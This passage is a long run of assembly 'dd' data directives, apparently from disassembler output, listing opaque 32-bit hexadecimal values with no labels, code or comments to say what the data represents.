		dd 2B72DCB1h, 0FC008E77h, 0AD81D64h, 1E1F18h, 0E4191B54h
		dd 30480D5Ah, 7C09D700h, 0D6E8ECDFh, 8C2F0132h,	26C5CDC1h
		dd 8B40C833h, 95E3F00h,	0BC56DB7Eh, 416D0063h, 0FED338E1h
		dd 0A316078h, 9471205Dh, 17A44970h, 0F9E37Ch, 0E53D0F8Dh
		dd 0B1147204h, 2EBBA0Bh, 0C236C881h, 80C0807Ah,	2483F4Fh
		dd 0EC43FDFCh, 1040DFD6h, 8C006B65h, 74BE9D05h,	91D993h
		dd 0F3773DF1h, 0E4955750h, 19EAC62Eh, 738E2C00h, 0F26A82C3h
		dd 0EB1D00BAh, 71F80604h, 586050AAh, 4E8FBFC9h,	2EE100D9h
		dd 1ADB61ADh, 0B9007E81h, 0C2B862B6h, 0A04CACh,	832746EDh
		dd 0A76CE6A5h, 768D3702h, 63639519h, 0D5C1D18Bh, 0A489C8h
		dd 7D0997ADh, 2F746A1Fh, 0C0CF2B00h, 0FA216852h, 631D12E9h
		dd 0F97407F6h, 0FE50D0E1h, 0EC076418h, 1280BB9Eh, 8B19DC30h
		dd 0BE7F006Ah, 0EDCCB92Ah, 0FC00D4ABh, 52AF31C4h, 87BA59h
		dd 3D17FD2Eh, 0CFB91681h, 0DEABA314h, 80F53DD5h, 0E406B2BAh
		dd 3B508807h, 3BE94AAh,	650CE900h, 0A01E1468h, 2FA44F00h
		dd 0F9E04BC2h, 732C00F1h, 6412D40Bh, 550057B4h,	62B22556h
		dd 26DA2920h, 3B141A46h, 736EC309h, 7960E00Fh, 6B2361F6h
		dd 6241FB00h, 8D3FFDEh
		dd 44E10086h, 0F1A5555Fh, 9638E912h, 604501B8h,	0DC576468h
		dd 40FA2731h, 0DDF278h,	0C5B7043Eh, 0CA538E60h,	0DE00AFF2h
		dd 6F3D4C87h, 0B86A20F7h, 8E943A64h, 61A9983h, 0AD817565h
		dd 24BC613Dh, 0B8078528h, 44520C45h, 0CED3FDD0h, 0DA1B00AFh
		dd 8D5676AEh, 59025D91h, 0DD1E137Ch, 808CC36Ah,	0CBBB6Fh
		dd 64CF4D1Fh, 0C6B00E80h, 129CF200h, 8DC0071Eh,	27990388h
		dd 20668BAFh, 0A8F87100h, 738624BFh, 46E00DBh, 14F64B6Ah
		dd 0B3E0EB4Ch, 25A58h, 33DA63B6h, 5F0DE9h, 285C2D1Bh, 5847B070h
		dd 0A912E01Dh, 0CCDAF380h, 0E43EA50Dh, 0A38F0078h, 0C56F907Ch
		dd 44004987h, 0E52D9B01h, 8D0864h, 0B15F5D48h, 0FDE96040h
		dd 0B200ADFEh, 22C3DFCh, 3EDBB542h, 0BF80AB08h,	0C5C20F76h
		dd 5C00A289h, 0B022F15Eh, 4C4B8062h, 991234BEh,	4900EA0Ch
		dd 0DEE6AAEFh, 1CFA00D2h, 8B835C1Eh, 0FFF2675Dh, 3A43F204h
		dd 0E4D0FC29h, 389F12h,	5A5BEDCAh, 0F521550Ch, 0C82A2F24h
		dd 0B9EB6F40h, 0FFBE0041h, 34F315DEh, 11029F43h, 0B67C63B0h
		dd 96860D2h, 0FCFB0F47h, 6B403E69h, 0EB952AB2h,	0BD364C03h
		dd 0C84ED985h, 38E4733Ch, 0DA00EA16h, 96A9F9B9h, 0DFF43E6Dh
		dd 72753100h, 9A76B4A6h, 8C9B00E4h, 65135F7Eh, 0D20362BDh
		dd 9FD57A2h, 14A3B017h,	8CA4076Fh, 0E0199BC0h, 3DF90534h
		dd 8709E800h, 0B91E15BFh, 0E4FD01B0h, 0A81AB5A6h, 215C20D6h
		dd 31EE0401h, 794EA55Bh, 0D790C9EAh, 0FDDACCh, 9A10D8C8h
		dd 15F67B46h, 3CA94458h, 50C980BAh, 5C0B51Bh, 0B42B48EBh
		dd 99B63C7Eh, 6480C2BDh, 0C8A3A574h, 6BF6F251h,	2394AE50h
		dd 5A3DA90Ch, 0FE4806EAh, 192F00C5h, 58086ED9h,	7274B16Dh
		dd 0AFD61500h, 76F8B297h, 848D0F7Eh, 0BE00D889h, 0FDEAD7E3h
		dd 5C7BB33Bh, 71170006h, 935D339Bh, 0E74C1C60h,	0D7837C3Ah
		dd 0A3047631h, 0BA2D7B90h, 457F3203h, 0D8AA3062h, 0A9C5AEh
		dd 0CD156578h, 4F1B9CC3h, 6626FE02h, 48EE2709h,	11C0810h
		dd 0FAB99BE1h, 0FC5FF7A7h, 2E0A2FC9h, 83422A1Fh, 0E3EF843Ch
		dd 0C8806B64h, 17AF4940h, 0A4A59Ah, 618AFF56h, 0E41CE56Eh
		dd 0C84701DDh, 8EA121FDh, 47C45AE0h, 71EA601Fh,	0A3CEA269h
		dd 0C1C4FB00h, 5519DB64h, 7A971266h, 96DC45C9h,	0A344D0A6h
		dd 28D819EBh, 66F54D30h, 387918DCh, 0EBDD4400h,	5EC69184h
		dd 16FC0F9Eh, 55C777C2h, 59B8918Fh, 60D6ECCCh, 12EB2303h
		dd 0DED28D7Dh, 15441F79h, 0CB72C0EAh, 0C6C9F33Ch, 560F7F07h
		dd 0ED61049Eh, 7DD40251h, 330E0835h, 58177AC0h,	8FE6205h
		dd 0AD515402h, 869CE87Fh, 33C63EA1h, 3DD9BE00h,	0FBA609F9h
		dd 0EE6A20h, 0C43F4E85h, 5E01BB97h, 437AA72Ch, 0DF0E8039h
		dd 93197494h, 0A3EE00D3h, 0C6B23E10h, 9E00C992h, 0E32B9D22h
		dd 0F8D34DEDh, 0FBAA00FDh, 0D1AFBD57h, 1B16446Dh, 7900E2C1h
		dd 287725D0h, 4968003Eh, 7157E6C0h, 7000FA02h, 3B1C86D1h
		dd 0F7E14Bh, 5CDEA57Dh,	2DEC035Ah, 9CC8D365h, 772B2480h
		dd 4ED9CF04h, 32F1DC2Ch, 0CA80248h, 2078F8D9h, 0A2E869AFh
		dd 31F0F580h, 0B30009EBh, 38BF4F92h, 61F48B3Fh,	0E66D4988h
		dd 32B00F7h, 0DD61C67Ah, 642008AAh, 767D009Eh, 5628D14Dh
		dd 0B6F60B68h, 35B28B00h, 0E8682A0h, 0CF10572h,	9120D21Fh
		dd 0CDEB75E0h, 0C8C2D8D7h, 0B5F23700h, 5CEE8BF0h, 94683084h
		dd 66B2BF1h, 0D1446CA0h, 409F3188h, 0F1E173h, 0A02A8160h
		dd 0BE0494h, 7EC7E980h,	0AA56EDEAh, 48926706h, 2A41DF49h
		dd 35A02AE0h, 614CFBh, 5F5351B5h, 0C3E0EC87h, 89B17C33h
		dd 0D9091531h, 372A485h, 0C7EB3F66h, 0E3A008F9h, 0AA4C5DDAh
		dd 9FA500D4h, 285B4118h, 0C17006B3h, 6907FA3Ch,	5800247Bh
		dd 55B8DC8Ah, 32C088D6h, 0E9D1B274h, 45F81120h,	2A1D3199h
		dd 0DE3B1410h, 5D12B8A0h, 0D5130E8Bh, 2F01ECB1h, 2739BF16h
		dd 0EA99D0C8h, 0F31B01D3h, 0AE382DCFh, 0FEC182CEh, 93056F22h
		dd 77D80AE4h, 704F44h, 0D4FCFF16h, 0B9331407h, 30F0199Ah
		dd 85387E3Ch, 89DD98CCh, 1E82FD5h, 1B3935CDh, 0B5608CEEh
		dd 9BAD00AAh, 80FB0A61h, 0F9491D5Dh, 12031254h,	0D2DDAC80h
		dd 0F41C022h, 83E7A2D6h, 69FD4500h, 0D0BAEB19h,	717E01AAh
		dd 44092AA8h, 0A878BBA7h, 4D1088CAh, 0C53FD54Bh, 0A3332976h
		dd 67A960D4h, 0F10B462Ah, 0D77239h, 0DD2B3E3Eh,	0EC2C01F3h
		dd 0D66CA8EEh, 26B04C03h, 9E863D38h, 2F03FBD8h,	0C81EEF79h
		dd 1388DE3Ah, 4D68BFDDh, 0E530EA70h, 0E1D083D1h, 7B8A5B22h
		dd 0B33B4CA9h, 0F6147C28h, 3EA892FDh, 0A60062C6h, 27C45A29h
		dd 430BF23h, 3E139B5h, 3888085Ch, 2315F735h, 1B120194h
		dd 6091368h, 622B588Ah,	51AB60E8h, 6C451089h, 39872CEDh
		dd 705CD076h, 0F3E2FD5Bh, 42085706h, 60297CB3h,	86539976h
		dd 9D004790h, 514ECEBh,	148E2C3h, 40D1A736h, 92096E54h
		dd 584A9070h, 9E80B487h, 0A0ACED7Eh, 297C00E1h,	0C0760E2Fh
		dd 2631BBFEh, 25D28817h, 0CAD39183h, 58D8F3D4h,	32002D59h
		dd 9D680E89h, 64933AE9h, 9245DCD9h, 50804BFCh, 0F3646232h
		dd 53DC293Fh, 74027D8Ch, 0CADD75Eh, 449844D3h, 890020F2h
		dd 0B3BADA54h, 0A4CFED2Fh, 1B8E00C4h, 0DE9C811Fh, 4B708A09h
		dd 7CFFDC24h, 9CC8AB44h, 0CFAF1814h, 74E9712Eh,	0A9F081Dh
		dd 10847241h, 58306AB1h, 0DD048459h, 0D3173657h, 849598C8h
		dd 8C82A400h, 0CB90984Dh, 0D9E0022Eh, 0AD30F0BEh, 0D36F9449h
		dd 78754924h, 98108B1Ah, 0C356Ch, 0BC390663h, 0EE3C4761h
		dd 114E5100h, 2BAAAEDBh, 21D89208h, 7C209ACDh, 3AEC9900h
		dd 0E243D022h, 8E2109F2h, 0CC29C68Fh, 7C611402h, 2249DC26h
		dd 0E8C0C8F3h, 6071515Bh, 3228C303h, 0D0918B09h, 14628Ch
		dd 4ACA37F0h, 4D55954Bh, 3C266CE8h, 929850BCh, 6AD65C00h
		dd 7D9121A7h, 0F06640E5h, 39ED5130h, 0C6CAFF85h, 8D4E281h
		dd 0E0AEF019h, 8422FB21h, 53AAB701h, 4C43093Ch,	8E9CA0h
		dd 0E62F60BEh, 0E3229BA2h, 95D30900h, 4654F88Fh, 78FA1079h
		dd 28711CAh, 2167F012h,	804DFB08h, 75FC6671h, 0BEC7D95h
		dd 2844DA7Eh, 39734506h, 0D174A498h, 0B8A91899h, 0AB789480h
		dd 38594FEDh, 3B8F91A7h, 8606EEFh, 487FB14Ah, 0F4885E6Fh
		dd 0AF72C060h, 2C144DCh, 893A87F4h, 4E60BB81h, 0DE0670A8h
		dd 0F8D20F74h, 991A1669h, 1F8903D0h, 91263F8Bh,	0E8A05CE1h
		dd 0CF86852h, 0B1DE6F4Eh, 86841331h, 54B440C7h,	0CDDC0249h
		dd 36002491h, 0B01362C8h, 0E8D30027h, 9282733Eh, 78E46344h
		dd 4D2AFF04h, 14893D20h, 8F7C1C4h, 0F63B0237h, 55FA7D07h
		dd 5BC5B221h, 15588BC8h, 0C0B044C4h, 1CF1DB11h,	198051A5h
		dd 0E6310B42h, 92C07E1Fh, 1F145C50h, 9312F71Fh,	194C30AAh
		dd 0F6008689h, 0D7564694h, 3DBF7798h, 0DD127F5Dh, 78344479h
		dd 0C21441EBh, 8C373530h, 9BCB0B00h, 7EB51587h,	49AD4E00h
		dd 8611A6AEh, 18F40CC9h, 0FC413C1Ah, 8843FA24h,	2D90806h
		dd 896000F9h, 5E6144AAh, 59C47A95h, 58C903D2h, 0C0F96920h
		dd 6D774819h, 0BD01C3F4h, 0B32B965Fh, 896A755h,	58302071h
		dd 7EABD18h, 0FC29020Eh, 3850162Dh, 184F22E8h, 59FACDDDh
		dd 0A005032h, 40D795A1h, 49D5CBFh, 1965BD72h, 92188CD3h
		dd 9A2CA100h, 0F9C968D9h, 0FBACB2ECh, 323E7F8h,	0F0DE91DCh
		dd 8CE5E27Ah
		dd 9492E908h, 80DC5048h, 6E6CE614h, 0A6849808h,	88FB5CC8h
		dd 0CBE1B880h, 500191D7h, 4C26987h, 3067AC23h, 31900100h
		dd 3E381D62h, 0F6497600h, 97653354h, 0E20540B2h, 31C0D9B0h
		dd 25F8AADAh, 33BF0F39h, 64605E27h, 0B4A6E3Ch, 702B7206h
		dd 0EED99F6Fh, 800C9675h, 0EFBC4ADFh, 13129594h, 0F848DEA0h
		dd 5DD58006h, 0D761C34Bh, 55244C13h, 1066D04Bh,	1F71C38h
		dd 5E346FDEh, 22C5C36Eh, 4A3200E0h, 0C0104E71h,	385500DDh
		dd 565F98B4h, 14B1DCCBh, 6903C811h, 0CA157744h,	20A09495h
		dd 0EC7265E4h, 6BA11E0Ah, 4991A89Ah, 1478E007h,	5083470Fh
		dd 0C05EA136h, 0F2116900h, 0E6ED16A4h, 0C0529031h, 51423431h
		dd 62031C13h, 0DCD5DEB6h, 4443A016h, 3B17184Fh,	500391ECh
		dd 8BEBC203h, 0D239E75Ch, 307042F9h, 7466DAD4h,	97EE14BBh
		dd 0BF07EF61h, 30F97339h, 8685D023h, 55F070A0h,	90D0E369h
		dd 0D6612B70h, 0FBF43108h, 0F118042h, 69B1CC9Ah, 46DB0031h
		dd 9B1F3BAEh, 2893C521h, 0E7E0803Ah, 0B0514A28h, 6D840CFEh
		dd 2B68CADEh, 0C4256BECh, 526098D5h, 0A10F39E0h, 0DB451E00h
		dd 4F160EDEh, 688BF5Ch,	0C8155CAFh, 4EFB3099h, 0DD342B69h
		dd 7CCE4Ch, 0E28CE4A3h,	0FE4A413Ch, 36282CEBh, 26E3E014h
		dd 97072476h, 2728B7A9h, 0E19D5B40h, 347481F0h,	0F342F978h
		dd 21032B13h, 30FBFCCCh, 965C4F41h, 0A0518A50h,	848F32E3h
		dd 0BE0AB4Eh, 931987DFh, 19C08474h, 936C27Dh, 309F0BBEh
		dd 0F011D331h, 26C2089Eh, 40BC3B97h, 0EBB2165Eh, 829A0139h
		dd 72487A0h, 4BE84CDEh,	1AC860A7h, 0BB0064AFh, 6D8554F0h
		dd 159BA1ADh, 0D8DFF57Eh, 6D9D49C0h, 2A1D523Eh,	0E6C2FA90h
		dd 57C6BCEh, 8584DC76h,	0ED54FA51h, 0B4C87421h,	4DA05200h
		dd 57E306E5h, 1614004Bh, 7CB7E0BBh, 29C0D901h, 0D0CEBDD2h
		dd 38A14910h, 294A6811h, 3DBC64h, 6D95A324h, 67588E2h
		dd 0B6DDFC4Eh, 0EF442918h, 40B4002Eh, 4E999626h, 0D3484DC8h
		dd 122DC5Ch, 0FEA38BB0h, 51C3E374h, 10E97ADCh, 13DBC114h
		dd 29DE8878h, 73D031A4h, 9D3001Ch, 9131680Dh, 5AB600CBh
		dd 7C5C7663h, 50C6CF7Bh, 759DAD9h, 0E15BB690h, 2DDE1E9h
		dd 0DE1892C8h, 7A6F2C21h, 0E927EA10h, 0D94C3492h, 158180A0h
		dd 7FD628Fh, 68DED7E3h,	0B8B2A069h, 14053C1Bh, 0C51B395h
		dd 0D1DDAC05h, 0D45FA060h, 93790087h, 9B8EC919h, 5230778Bh
		dd 444E2847h, 0CC84A28Ah, 87A92868h, 381200A2h,	6D72F060h
		dd 0EA00431Fh, 0A8FBA061h, 67D9A585h, 0E0A3E1F2h, 28BBD314h
		dd 0F1303CFAh, 34310A68h, 4AEDEECFh, 0B67C4065h, 123ED759h
		dd 4719CA0Fh, 0E1510EDDh, 0EC557615h, 0B3482E4h, 3077E8C4h
		dd 0F0D6C810h, 5C49524Ah, 0A1B8E615h, 0D61049B4h, 9901FB6Bh
		dd 0EE3CEAC3h, 0D7FCB078h, 6776005Ch, 528E9603h, 0C1048AFBh
		dd 0A7BA6147h, 0A58BD4F4h, 0BD080084h, 0D811A156h, 0F0F6DB00h
		dd 32E1809h, 71600BFBh,	0B00431CDh, 0ACBD20EFh,	4EF23E12h
		dd 41972C5Dh, 0D86CB2CCh, 30BC7016h, 0DC6220D3h, 0B8504A7h
		dd 64DC83A5h, 0E4FB9AD4h, 7F130020h, 9DCD6691h,	5000C74Ch
		dd 0E2521B57h, 4FA6C8Bh, 6ECFC348h, 1CC4A6D3h, 39409E5Bh
		dd 77318227h, 0DD0724A1h, 38C041C4h, 0D85AE255h, 0ECCC8511h
		dd 0C8EC204Ah, 66135326h, 93C412h, 2369D154h, 5D6534E0h
		dd 0C8809C03h, 5F9163A4h, 5E15DD09h, 6EC8C228h,	35D600ACh
		dd 5704D734h, 6800B408h, 0AB207C5Fh, 9CDEA967h,	3CCB9120h
		dd 0D66B8E23h, 906AAB6Eh, 1304BE14h, 4508A08Ch,	5484E84h
		dd 0A76B2B44h, 4644A98h, 2884D888h, 0B17CF3FEh,	9A5C00C0h
		dd 7EAF0526h, 5F303901h, 0E963065Eh, 0DC349844h, 4E1400E3h
		dd 0DE343072h, 43B0E451h, 2CC0A470h, 320B51A1h,	8D2B049Bh
		dd 8DE0BC17h, 20236Ch, 84DD5347h, 82709Eh, 1CDC075Dh, 0F0E42E71h
		dd 0DE946716h, 0E9217070h, 0ABF0A6h, 0ADD5638h,	0B41DC854h
		dd 77236B1Ch, 4A345428h, 70D9E9E4h, 0C48FF012h,	9D0600F8h
		dd 6076D9D4h, 0EC0089D0h, 227E9623h, 44FA48E1h,	1D09AD4Ch
		dd 80C7B9EEh, 13A8FC01h, 7C012C0Bh, 6A3DC048h, 43009FB0h
		dd 8BC4F6CBh, 0F93163BBh, 407A24D2h, 0DECCB0ABh, 224C9286h
		dd 0A577EDFAh, 42F31604h, 5C8852C0h, 4015E1C2h,	92018AA0h
		dd 0C08A74FAh, 9A2573h,	3A7B623Eh, 0FC90D6E3h, 26171C01h
		dd 0A4332F0Bh, 0D868A471h, 1FB9ECCCh, 58F7D002h, 0A19B3E34h
		dd 0F35FF0ECh, 38A4CED2h, 600C41Bh, 6A85B616h, 132D3E72h
		dd 3B9825F7h, 7CD96400h, 7B2016B8h, 4AE60299h, 0A7A2EA12h
		dd 931F24D1h, 461BB180h, 0D49A4D77h, 38403899h,	6B4A03DDh
		dd 0F9DC0DA0h, 150E59B0h, 0F013E077h, 3064E326h, 8048EC08h
		dd 254279F1h, 0B738FCCBh, 8A4500F0h, 0D112A42Eh, 0E591C42Bh
		dd 494E4240h, 0E91049D0h, 0F0D3E2h, 0DEFB47Eh, 58FC6B8Dh
		dd 37E95600h, 0E0FAE747h, 2C7D74CCh, 12168245h,	0CB288CC5h
		dd 0CA4E7C00h, 2C77B6Dh, 507709C9h, 18E4AA1Ah, 0BE09A090h
		dd 90802458h, 0E4C488h,	3E70C6ECh, 8F2248EFh, 0AAC79613h
		dd 206E0B0h, 0C111514Ah, 0EC903EE2h, 712BD84h, 34238FE0h
		dd 119D9025h, 0D34AFADEh, 26046028h, 0D8007274h, 0C70540C4h
		dd 480860h, 8F2DADCFh, 0F0228EE2h, 8513AB42h, 0B2D48524h
		dd 9FE2758h, 0D3A818F0h, 0FF293990h, 4AE58080h,	0A7AF0D8Fh
		dd 0D0612B24h, 0F6207361h, 0F1326012h, 76DC0024h, 1A8C97D3h
		dd 3A44960Fh, 14914025h, 880B5CEh, 0D1F7AD47h, 44737208h
		dd 83C0A26Bh, 0BB0E636Dh, 8729E805h, 0BFEF0793h, 0D038A823h
		dd 0CD88B82Eh, 8A04Ah, 64864980h, 0FB309184h, 2E73A941h
		dd 671701F6h, 3A433423h, 71D98826h, 50C8A02Fh, 10F06CCCh
		dd 16D3F31Bh, 1457F885h, 2090B062h, 0BD0BF309h,	0C0108758h
		dd 0F55AA353h, 17352438h, 0B391760h, 0B822E1B2h, 0F052D1E2h
		dd 139AC4A1h, 5E8DB03Ch, 1D10051h, 46B7F7EFh, 0DE034285h
		dd 33575F20h, 2088F502h, 4484B647h, 89FCC8FAh, 18A93D00h
		dd 9A55190Fh, 104516B8h, 0FADC91D7h, 408916CAh,	5B60FB71h
		dd 0E1090841h, 0B4BF1373h, 0DE9C4B10h, 6C926CC6h, 785F5204h
		dd 7D40C284h, 238051AAh, 0F7BCA018h, 16C21471h,	0C8C92AE1h
		dd 0F089ED1Ch, 5C72F5C9h, 80DCD32Bh, 975044F6h,	5409690Eh
		dd 0C6F27165h, 4E4F4404h, 3CB4FE00h, 0FFDBE03Eh, 5FF600A3h
		dd 4AD4E32Ch, 181A01C9h, 42C96EB6h, 6CE640h, 0A67DBA0h
		dd 546142C6h, 0EDA7B300h, 0C70CBECEh, 0E4020B7Ah, 0B86ED07Eh
		dd 7600E9E8h, 2DA2C175h, 0BA8E2Ah, 352463F8h, 422C4B1Ch
		dd 3480C89Bh, 232D6AA6h, 82F202CFh, 9FF99685h, 8622FCC4h
		dd 5B890CEh, 16E00C98h,	438C2249h, 76151A20h, 0DCE800B8h
		dd 1E07026Ah, 0EDE186D4h, 0E8A0C6CEh, 0D041FC14h, 0F8B46090h
		dd 586C50h, 0F1D4D5D8h,	0ECBE097h, 35137217h, 8D8F0D5h
		dd 4D390032h, 0FC2B8238h, 0C9229DEh, 16C63F9h, 693BDDF1h
		dd 5ECC36D0h, 0BD920007h, 0F8A1A6E4h, 8674C73Ch, 697A776Dh
		dd 9BA22450h, 7F9221Ah,	42281E00h, 0CCB7B106h, 0D62D1ED1h
		dd 8D393ACh, 0DB44EC70h, 2023649Dh, 71010638h, 0C8B53730h
		dd 3852F01Fh, 50D45907h, 0D3410BBEh, 0E039097Bh, 0EC255380h
		dd 9203EFAAh, 0F0393FD3h, 0DBA9E199h, 9CD8F8D0h, 0FBEA42ACh
		dd 86C27C80h
		dd 710031DAh, 0BFA30CEFh, 16578E5h, 126A334Dh, 5164A9AAh
		dd 328526ACh, 47B28150h, 6FE8F88Ch, 717A0FAFh, 279DD374h
		dd 0E9F878B3h, 7B3C16D4h, 1AA487E7h, 0F125756Eh, 0B852ECCCh
		dd 135F172Eh, 215A0098h, 0A45B146Ch, 0B4BC937Fh, 5DF965C0h
		dd 4175010Ah, 0A9ADBB07h, 0A4B20430h, 8BDF6700h, 80D2B74h
		dd 47903A1Eh, 0E224F547h, 28317AFDh, 3A808C68h,	8BC90485h
		dd 75D32900h, 0B8906FB5h, 4A60002Ch, 0B113172h,	2A5BE0A5h
		dd 1FDD0041h, 0BAD19C0Ah, 1F5D4AF0h, 0B11D2010h, 2A444E21h
		dd 10D95C4Bh, 3F37CD70h, 0AF1CA0B0h, 0B8E8D98Fh, 8B8980E7h
		dd 51B75827h, 0CB5E0C61h, 0ED41E020h, 73CEC888h, 170602BAh
		dd 19E947B4h, 454D4468h, 6A444894h, 27384E20h, 90265094h
		dd 9CB37812h, 204ED84Dh, 0A4AEF02Ch, 0F818B12Ch, 10888545h
		dd 1DA774Ah, 7603A8D6h,	633CC055h, 20642FD0h, 871DC84h
		dd 0C3FF00A0h, 656D72A6h, 0CC910D15h, 14D8DE92h, 398D0F61h
		dd 0EC02C4FBh, 38C6BB58h, 6706E4B0h, 0CD3848B5h, 0C92C9CB0h
		dd 6865AC09h, 14167B80h, 0CFFB7066h, 9DE0A47Eh,	0D1E4AFA5h
		dd 0E54D2814h, 3075C0CCh, 2DEF625h, 31E659D8h, 0F8422AE8h
		dd 409FD496h, 0A3DF3Fh,	0F11774EAh, 7B3A9410h, 9AD3C301h
		dd 220E447h, 9CB86Dh, 0C1942D24h, 4609D8C8h, 0BAE9555h
		dd 0B2E838ACh, 0F0B301ECh, 5D987D84h, 0D827C434h, 5020E85Ah
		dd 836232h, 457964Ch, 0D0C63845h, 11ED54A1h, 0D8C8C9B7h
		dd 0D51032F3h, 0A85B85E8h, 0C3DB1D00h, 780FA148h, 72970E92h
		dd 4985D568h, 94F48865h, 0E34088h, 0AAE5B3DCh, 8C3EC631h
		dd 0E1FC7300h, 0A6EEA804h, 88B094E0h, 90A74E60h, 7F12DC34h
		dd 3B21001Dh, 22CC80F6h, 48930468h, 2FBD0903h, 0D94925C9h
		dd 4CF28C48h, 0B3A5170Fh, 5510A123h, 1025F8B4h,	27001033h
		dd 51376E4Fh, 1104E5B9h, 31B22840h, 0C8A3D8C0h,	0DC03026Fh
		dd 0DB5CB66Ch, 0CD25E444h, 900E82Bh, 0AB190086h, 1F0379E8h
		dd 0CA017B5Bh, 2CF388E5h, 8C703E0Ah, 0FD3902C9h, 48742BAAh
		dd 0B472608Eh, 0BF39A1ACh, 71BF0Dh, 0FD0B6F3h, 5C3858E6h
		dd 0FEC84C02h, 0B8059CA6h, 8002FBA0h, 56C7988Bh, 0FA183CB8h
		dd 3FBA6142h, 808D773Ch, 0EDC73718h, 58E50278h,	0FD882C84h
		dd 0BB606CA4h, 2156CDh,	0B98BBFABh, 0D0A8700Ch,	0C312CAEEh
		dd 4B12F3F2h, 88F69CCCh, 812E2E86h, 0ACA840D1h,	5F4D44h
		dd 0CACF5352h, 0E163B8E3h, 2004FE1Fh, 13C678CBh, 1E748874h
		dd 0FC5500E6h, 0F3173468h, 0F0EE393Ch, 2FC65C27h, 11E0A068h
		dd 8D9DE3h, 1D8CCA7Ah, 0A6FC7741h, 84D1A74Bh, 0C472F2C5h
		dd 0E7A0242Ch, 4C308B74h, 85095E51h, 2BD4D37h, 0D901BB63h
		dd 0E61400BCh, 0B41D2E23h, 4915B204h, 0D0B7AA3Eh, 6F85EA1Ch
		dd 0A3F01C22h, 0FEF874DAh, 205C1AB7h, 0C312E53Ch, 582B0266h
		dd 0A5875E21h, 74102C89h, 48258A32h, 9A4C6471h,	8AAC4BB0h
		dd 0A1EA2600h, 0BBFC6002h, 25ACC4D5h, 0EC108085h, 9CBCE267h
		dd 4ABDF06Ah, 8BE46088h, 28CBFAE9h, 0B3F78860h,	0F024A510h
		dd 705820C2h, 6D7C98h, 0CC8373D1h, 0AF67DF52h, 88997E01h
		dd 3A6AC372h, 0B8A8A052h, 4CDF8C4h, 6F93B4F9h, 0FC4AC2DBh
		dd 94043046h, 73F044Bh,	80A0251Fh, 9F2A47BBh, 0B9E09D04h
		dd 16C057BEh, 29F87BA9h, 91F8DE6Ch, 7E03E4Dh, 0ED0B7F34h
		dd 0BB542240h, 5E442F90h, 40977424h, 73E5F923h,	0FEC0111h
		dd 35A27A34h, 0C521F801h, 337E2E04h, 20F4556Dh,	9D38041Dh
		dd 0AD3CB988h, 8F8780A4h, 5C5D27FDh, 8E00DC44h,	80201BE0h
		dd 331F384Ah, 0AAAFC607h, 67642484h, 1832FA32h,	84EA5014h
		dd 4B7CCD42h, 3BE4C85Fh, 5402AC99h, 400FCA4Dh, 4E34825Ch
		dd 0E29C9D91h, 78A22040h, 742E3600h, 9CD8B8E7h,	9940B850h
		dd 8D96401Ch, 4DFC513Fh, 203AD341h, 83E169E8h, 92E3A1Fh
		dd 2A6CCC25h, 525C52F0h, 304870F3h, 0A9806459h,	0A36BC37Fh
		dd 33BFA502h, 0CA53B0h,	9A12E0B4h, 51025B98h, 3E7A4346h
		dd 8C71FAh, 4E38669Eh, 1212D113h, 4030BAE3h, 48F0D39Ch
		dd 0DECC8C78h, 98A46609h, 0B701A976h, 15881483h, 14248D9Eh
		dd 3091899Ah, 0AE009B13h, 49DA1F30h, 7EC0C138h,	802C2792h
		dd 0D70018C4h, 0ED951576h, 0A00261h, 0DB1CF046h, 42ABD42Fh
		dd 0A0396526h, 0D8BD1780h, 7DFDDECh, 0DE8D8345h, 14A7B2ABh
		dd 0F0981462h, 668A99FAh, 0F02407D4h, 509C639Ah, 85EC388Ah
		dd 96D1B0Eh, 32A5E475h,	0B68084ACh, 551F6F17h, 5491EE00h
		dd 2CDD237Eh, 0D01C0064h, 804AE588h, 0AA4C0D21h, 0B0328AB0h
		dd 6CD84760h, 5DE600C3h, 15701653h, 5613B32Fh, 24D0D9A7h
		dd 1D190391h, 0FF7B81h,	5F4F7612h, 0E89302B5h, 29378980h
		dd 8292FCh, 2F33EC22h, 98994654h, 7CC67A26h, 0A1C05145h
		dd 518716Ch, 0A1D5304Eh, 0E6EC49D7h, 746DC0E0h,	0DFC93289h
		dd 87C4203Fh, 5C5C4E19h, 86110026h, 50C23DBDh, 2DF1094Ch
		dd 804153F6h, 1BC6685h,	0C061B323h, 0C70EB57h, 1BB4004Ah
		dd 85444189h, 2C9CD4B5h, 80E1AB88h, 33D5F314h, 875CCBC3h
		dd 30994E74h, 6C00482Bh, 0A795EC48h, 48CFC90Ch,	72F8EDD8h
		dd 96DB7C62h, 0D5406008h, 0CE01705Eh, 9516E14Bh, 0E2C648BCh
		dd 94FB58h, 15DC22ECh, 7E1099FFh, 3202CC0Ah, 3542C109h
		dd 6E00905Bh, 4D63F00Ch, 0DB450551h, 81D3B3B5h,	7C246FF6h
		dd 764E0B60h, 4E70C4FAh, 65AC8A06h, 0B0A86C11h,	18ED758Bh
		dd 2B0FE991h, 0D9174159h, 550AD868h, 480DCD0Ah,	0ACC084F7h
		dd 29318F1h, 52146157h,	6851EB7Bh, 8AEFA503h, 0B867A12Bh
		dd 2471F8C4h, 427084FBh, 30D964F0h, 0BAA7C210h,	5D0340A8h
		dd 0A2702414h, 0DEA89900h, 0D2A08639h, 858488E1h, 0E01C2AB7h
		dd 0A7916704h, 0EB8A235h, 0EA6940F3h, 0E080640Ah, 7126E329h
		dd 0F18F0472h, 0BDD4798Dh, 0F02298h, 0A12276F9h, 606EDDE0h
		dd 8609EC75h, 0FBAF8B74h, 243F00A4h, 82B6CAAh, 8880BC93h
		dd 0EC460CD7h, 86F300E4h, 6D028DC9h, 7F242E1Eh,	70B0C3Eh
		dd 1CE464E2h, 0C4874773h, 434BBCD4h, 0A448682Bh, 0C980FCF9h
		dd 6F9B15A3h, 0D8C8E800h, 88E354DFh, 9C9275A1h,	0B480951Ch
		dd 0C4ABA689h, 8410600Eh, 0C853EA7Ah, 0ED006E8Ch, 3BC42058h
		dd 0F81E06h, 0F57B1910h, 0D9EAF4Eh, 4EFF098h, 8F2E10A2h
		dd 1F571727h, 0EFB38157h, 2DDD2F40h, 6FF09B0h, 206A8FBFh
		dd 0CD4B66EDh, 292B013Ah, 0A69D0ED7h, 25D42688h, 0F609403h
		dd 0CF5038F1h, 58972E40h, 44F9DE7Fh, 3B74F3FCh,	80A30062h
		dd 403AD758h, 0E5B80E97h, 7DE5F76Ah, 1D90E629h,	0FE40C4B4h
		dd 5F839076h, 136F0301h, 0E3E941EEh, 9C7CB6F2h,	0F0659C17h
